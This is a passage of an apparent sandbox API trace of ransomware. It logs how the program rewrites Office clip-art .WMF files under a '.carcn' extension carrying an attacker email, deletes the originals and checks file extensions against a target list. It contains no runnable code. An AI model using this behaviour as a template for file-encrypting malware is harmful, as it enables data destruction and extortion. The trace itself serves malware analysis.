(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0307.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0307.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0307.471] lstrlenW (lpString=".doc") returned 4 [0307.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.471] lstrlenW (lpString=".docx") returned 5 [0307.471] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0307.471] lstrlenW (lpString=".pdf") returned 4 [0307.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.471] lstrlenW (lpString=".xls") returned 4 [0307.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.471] lstrlenW (lpString=".xlsx") returned 5 [0307.471] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0307.471] lstrlenW (lpString=".ppt") returned 4 [0307.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0307.471] lstrlenW (lpString=".zip") returned 4 [0307.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.471] lstrlenW (lpString=".rar") returned 4 [0307.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.471] lstrlenW (lpString=".bz2") returned 4 [0307.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.471] lstrlenW (lpString=".7z") returned 3 [0307.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0307.471] lstrlenW (lpString=".dbf") returned 4 [0307.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0307.471] lstrlenW (lpString=".1cd") returned 4 [0307.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0307.471] lstrlenW (lpString=".jpg") returned 4 [0307.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.472] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.472] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0307.473] GetLastError () returned 0x0 [0307.473] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x4c90, lpOverlapped=0x0) returned 1 [0307.477] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x4ca0, lpOverlapped=0x0) returned 1 [0307.478] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.478] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0307.479] SetEndOfFile (hFile=0x37c) returned 1 [0307.479] CloseHandle (hObject=0x37c) returned 1 [0307.479] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.479] SetEndOfFile (hFile=0x318) returned 1 [0307.480] CloseHandle (hObject=0x318) returned 1 [0307.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0307.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0307.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0307.481] lstrlenW (lpString=".doc") returned 4 [0307.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.481] lstrlenW (lpString=".docx") returned 5 [0307.481] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0307.481] lstrlenW (lpString=".pdf") returned 4 [0307.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.481] lstrlenW (lpString=".xls") returned 4 [0307.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.481] lstrlenW (lpString=".xlsx") returned 5 [0307.481] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0307.481] lstrlenW (lpString=".ppt") returned 4 [0307.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0307.481] lstrlenW (lpString=".zip") returned 4 [0307.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.481] lstrlenW (lpString=".rar") returned 4 [0307.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.482] lstrlenW (lpString=".bz2") returned 4 [0307.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.482] lstrlenW (lpString=".7z") returned 3 [0307.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0307.482] lstrlenW (lpString=".dbf") returned 4 [0307.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0307.482] lstrlenW (lpString=".1cd") returned 4 [0307.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0307.482] lstrlenW (lpString=".jpg") returned 4 [0307.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.487] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.487] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0307.488] GetLastError () returned 0x0 [0307.488] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x864, lpOverlapped=0x0) returned 1 [0307.721] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x870, lpOverlapped=0x0) returned 1 [0307.725] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.725] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0307.725] SetEndOfFile (hFile=0x37c) returned 1 [0307.725] CloseHandle (hObject=0x37c) returned 1 [0307.725] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.725] SetEndOfFile (hFile=0x318) returned 1 [0307.726] CloseHandle (hObject=0x318) returned 1 [0307.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0307.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0307.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0307.727] lstrlenW (lpString=".doc") returned 4 [0307.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.727] lstrlenW (lpString=".docx") returned 5 [0307.727] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0307.727] lstrlenW (lpString=".pdf") returned 4 [0307.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.727] lstrlenW (lpString=".xls") returned 4 [0307.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.727] lstrlenW (lpString=".xlsx") returned 5 [0307.727] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0307.728] lstrlenW (lpString=".ppt") returned 4 [0307.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0307.728] lstrlenW (lpString=".zip") returned 4 [0307.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.728] lstrlenW (lpString=".rar") returned 4 [0307.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.728] lstrlenW (lpString=".bz2") returned 4 [0307.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.728] lstrlenW (lpString=".7z") returned 3 [0307.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0307.728] lstrlenW (lpString=".dbf") returned 4 [0307.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0307.728] lstrlenW (lpString=".1cd") returned 4 [0307.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0307.728] lstrlenW (lpString=".jpg") returned 4 [0307.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.730] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.730] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0307.731] GetLastError () returned 0x0 [0307.731] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xbd04, lpOverlapped=0x0) returned 1 [0307.748] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xbd10, lpOverlapped=0x0) returned 1 [0307.750] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.750] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0307.750] SetEndOfFile (hFile=0x37c) returned 1 [0307.750] CloseHandle (hObject=0x37c) returned 1 [0307.750] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.750] SetEndOfFile (hFile=0x318) returned 1 [0307.751] CloseHandle (hObject=0x318) returned 1 [0307.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0307.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0307.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0307.752] lstrlenW (lpString=".doc") returned 4 [0307.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.752] lstrlenW (lpString=".docx") returned 5 [0307.752] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0307.752] lstrlenW (lpString=".pdf") returned 4 [0307.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.752] lstrlenW (lpString=".xls") returned 4 [0307.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.753] lstrlenW (lpString=".xlsx") returned 5 [0307.753] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0307.753] lstrlenW (lpString=".ppt") returned 4 [0307.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0307.753] lstrlenW (lpString=".zip") returned 4 [0307.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.753] lstrlenW (lpString=".rar") returned 4 [0307.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.753] lstrlenW (lpString=".bz2") returned 4 [0307.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.753] lstrlenW (lpString=".7z") returned 3 [0307.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0307.753] lstrlenW (lpString=".dbf") returned 4 [0307.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0307.753] lstrlenW (lpString=".1cd") returned 4 [0307.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0307.753] lstrlenW (lpString=".jpg") returned 4 [0307.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.754] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.754] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0307.754] GetLastError () returned 0x0 [0307.754] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3a94, lpOverlapped=0x0) returned 1 [0307.767] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0307.769] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.769] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0307.769] SetEndOfFile (hFile=0x37c) returned 1 [0307.769] CloseHandle (hObject=0x37c) returned 1 [0307.769] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.769] SetEndOfFile (hFile=0x318) returned 1 [0307.770] CloseHandle (hObject=0x318) returned 1 [0307.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0307.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0307.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0307.777] lstrlenW (lpString=".doc") returned 4 [0307.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.777] lstrlenW (lpString=".docx") returned 5 [0307.777] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0307.777] lstrlenW (lpString=".pdf") returned 4 [0307.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.777] lstrlenW (lpString=".xls") returned 4 [0307.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.777] lstrlenW (lpString=".xlsx") returned 5 [0307.777] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0307.777] lstrlenW (lpString=".ppt") returned 4 [0307.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0307.777] lstrlenW (lpString=".zip") returned 4 [0307.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.777] lstrlenW (lpString=".rar") returned 4 [0307.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.777] lstrlenW (lpString=".bz2") returned 4 [0307.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.777] lstrlenW (lpString=".7z") returned 3 [0307.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0307.777] lstrlenW (lpString=".dbf") returned 4 [0307.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0307.778] lstrlenW (lpString=".1cd") returned 4 [0307.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0307.778] lstrlenW (lpString=".jpg") returned 4 [0307.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.810] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.810] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0307.811] GetLastError () returned 0x0 [0307.811] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3490, lpOverlapped=0x0) returned 1 [0307.924] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x34a0, lpOverlapped=0x0) returned 1 [0307.925] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.925] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0307.925] SetEndOfFile (hFile=0x37c) returned 1 [0307.925] CloseHandle (hObject=0x37c) returned 1 [0307.925] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.925] SetEndOfFile (hFile=0x35c) returned 1 [0307.926] CloseHandle (hObject=0x35c) returned 1 [0307.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0307.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0307.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0307.928] lstrlenW (lpString=".doc") returned 4 [0307.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.928] lstrlenW (lpString=".docx") returned 5 [0307.928] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.928] lstrlenW (lpString=".pdf") returned 4 [0307.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.928] lstrlenW (lpString=".xls") returned 4 [0307.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.928] lstrlenW (lpString=".xlsx") returned 5 [0307.928] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.928] lstrlenW (lpString=".ppt") returned 4 [0307.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0307.928] lstrlenW (lpString=".zip") returned 4 [0307.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.928] lstrlenW (lpString=".rar") returned 4 [0307.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.928] lstrlenW (lpString=".bz2") returned 4 [0307.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.928] lstrlenW (lpString=".7z") returned 3 [0307.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0307.928] lstrlenW (lpString=".dbf") returned 4 [0307.928] lstrcmpiW 